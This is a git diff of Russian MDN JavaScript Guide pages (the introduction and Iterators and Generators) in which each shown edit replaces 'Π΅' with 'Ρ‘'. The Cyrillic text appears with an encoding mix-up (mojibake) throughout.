<h3 id="ДокумСнтация_JavaScript_ΠΏΡ€ΠΎΡ‚ΠΈΠ²_спСцификации_ECMAScript">ДокумСнтация JavaScript ΠΏΡ€ΠΎΡ‚ΠΈΠ² спСцификации ECMAScript</h3>
@@ -97,7 +97,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<p>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ECMAScript Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΏΠΎΠΌΠΎΡ‰ΠΈ программистам Π² создании скриптов;Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ скрипты, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽΒ JavaScript.</p>
-<p>БпСцификация ECMAScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΡŽ ΠΈ синтаксис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹ JavaScript-программистам. Π₯отя описаниС языка ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² ECMAScript, но сам язык остаСтся Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅. JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π² спСцификации ECMAScript.</p>
+<p>БпСцификация ECMAScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΡŽ ΠΈ синтаксис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹ JavaScript-программистам. Π₯отя описаниС языка ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² ECMAScript, но сам язык остаётся Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅. JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠΏΠΈΡΠ°Π½Π½ΡƒΡŽ Π² спСцификации ECMAScript.</p>
<p>ДокумСнтация JavaScript описываСт аспСкты языка, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ подходящими для JavaScript-программиста.</p>
@@ -128,7 +128,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<p>Web Console ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для выполнСния ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹Ρ… строк JavaScript, Π½ΠΎ хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈ нСсколько строк, это Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Web Console. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ для Π±ΠΎΠ»Π΅Π΅ комплСксных ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B2%D0%B8%D0%BA">Scratchpad</a> являСтся Π±ΠΎΠ»Π΅Π΅ подходящим инструмСнтом.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ "Scratchpad" ΠΈΠ· мСню "Web Developer", ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ находится ΠΏΠΎΠ΄ мСню "Tools" Π² Firefox. Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΠ½Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для создания ΠΈ выполнСния JavaScript Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ваши скрипты Π½Π° ТСсткий диск, Π° ΠΏΠΎΡ‚ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΈΡ….</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ "Scratchpad" ΠΈΠ· мСню "Web Developer", ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ находится ΠΏΠΎΠ΄ мСню "Tools" Π² Firefox. Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΠ½Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для создания ΠΈ выполнСния JavaScript Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ваши скрипты Π½Π° Тёсткий диск, Π° ΠΏΠΎΡ‚ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΈΡ….</p>
<p>Если Π²Ρ‹ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ "Display", Ρ‚ΠΎ ΠΊΠΎΠ΄ Π² вашСм Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ вставлСн ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚ ΠΊΠ°ΠΊ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ:</p>
diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html
index ea05bf2965..b447156ea8 100644
--- a/files/ru/web/javascript/guide/iterators_and_generators/index.html
+++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
---
<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div>
-<p class="summary">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ являСтся вСсьма распространСнной ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ. JavaScript прСдоставляСт нСсколько способов ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ, ΠΎΡ‚ простого Ρ†ΠΈΠΊΠ»Π°Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code>Β Π΄ΠΎΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> ΠΈ <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‚ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° нСпосрСдствСнно Π² ядро языка и ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ настройки повСдСния <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> Ρ†ΠΈΠΊΠ»ΠΎΠ².</p>
+<p class="summary">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ являСтся вСсьма распространённой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ. JavaScript прСдоставляСт нСсколько способов ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΠΈ, ΠΎΡ‚ простого Ρ†ΠΈΠΊΠ»Π°Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code>Β Π΄ΠΎΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> ΠΈ <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‚ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° нСпосрСдствСнно Π² ядро языка и ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ настройки повСдСния <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> Ρ†ΠΈΠΊΠ»ΠΎΠ².</p>
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см.Β Ρ‚Π°ΠΊΠΆΠ΅:</p>
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
<h2 id="Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹">Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ссли ΠΎΠ½Β ΡƒΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ элСмСнтам коллСкции ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ Π·Π° Ρ€Π°Π·, ΠΏΡ€ΠΈ этом отслСТивая своС Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ этой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ JavaScript ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄ next(), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Β ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с двумя свойствами: done ΠΈ value.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ссли ΠΎΠ½Β ΡƒΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ элСмСнтам коллСкции ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ Π·Π° Ρ€Π°Π·, ΠΏΡ€ΠΈ этом отслСТивая своё Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ этой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’ JavaScript ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄ next(), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Β ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с двумя свойствами: done ΠΈ value.</p>
<p>ПослС создания, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ явно использован, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° next().</p>
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators
}
}</pre>
-<p>ПослС ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΌΠ΅Ρ‚ΠΎΠ΄ next() ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ для поочСрСдного доступа ΠΊ ΠΏΠ°Ρ€Π°ΠΌΒ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅:</p>
+<p>ПослС ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΌΠ΅Ρ‚ΠΎΠ΄ next() ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½ для поочСрёдного доступа ΠΊ ΠΏΠ°Ρ€Π°ΠΌΒ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅:</p>
<pre class="brush: js">var it = makeIterator(['yo', 'ya']);
console.log(it.next().value); // 'yo'
@@ -48,7 +48,7 @@ console.log(it.next().done); // true</pre>
<h2 id="Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹">Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</h2>
-<p>Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ вСсьма ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΏΡ€ΠΈ ΠΈΡ… программировании трСбуСтся ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒΒ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ поддСрТкС внутрСннСго состояния. <strong>{{jsxref("Global_Objects/Generator","Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹","","true")}}</strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΌΠΎΡ‰Π½ΡƒΡŽ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ: ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°, написав Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая ΡƒΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ собствСнноС состояниС.</p>
+<p>Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ вСсьма ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, ΠΏΡ€ΠΈ ΠΈΡ… программировании трСбуСтся ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒΒ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ поддСрТкС внутрСннСго состояния. <strong>{{jsxref("Global_Objects/Generator","Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹","","true")}}</strong> ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΌΠΎΡ‰Π½ΡƒΡŽ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρƒ: ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°, написав Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая ΡƒΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ собствСнноС состояниС.</p>
<p>Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ - это ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Ρ„Π°Π±Ρ€ΠΈΠΊΠ° ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ². Ѐункция становится Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ссли содСрТит ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅Β {{jsxref("Operators/yield","yield")}}Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²Β ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β {{jsxref("Statements/function*","function*")}} синтаксис.</p>
@@ -67,7 +67,7 @@ console.log(it.next().value); // 2
<h2 id="Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, Ссли Π² Π½Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ способ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ значСния ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π² конструкции {{jsxref("Statements/for...of", "for..of")}}. НСкоторыС встроСнныС Ρ‚ΠΈΠΏΡ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ {{jsxref("Array")}} ΠΈΠ»ΠΈ {{jsxref("Map")}}, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹, ΠΊΠ°ΠΊ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β {{jsxref("Object")}}, Ρ‚Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ, Ссли Π² Π½Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ способ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ значСния ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°ΡŽΡ‚ΡΡ Π² конструкции {{jsxref("Statements/for...of", "for..of")}}. НСкоторыС встроСнныС Ρ‚ΠΈΠΏΡ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ {{jsxref("Array")}} ΠΈΠ»ΠΈ {{jsxref("Map")}}, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹, ΠΊΠ°ΠΊ,Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β {{jsxref("Object")}}, Ρ‚Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ.</p>
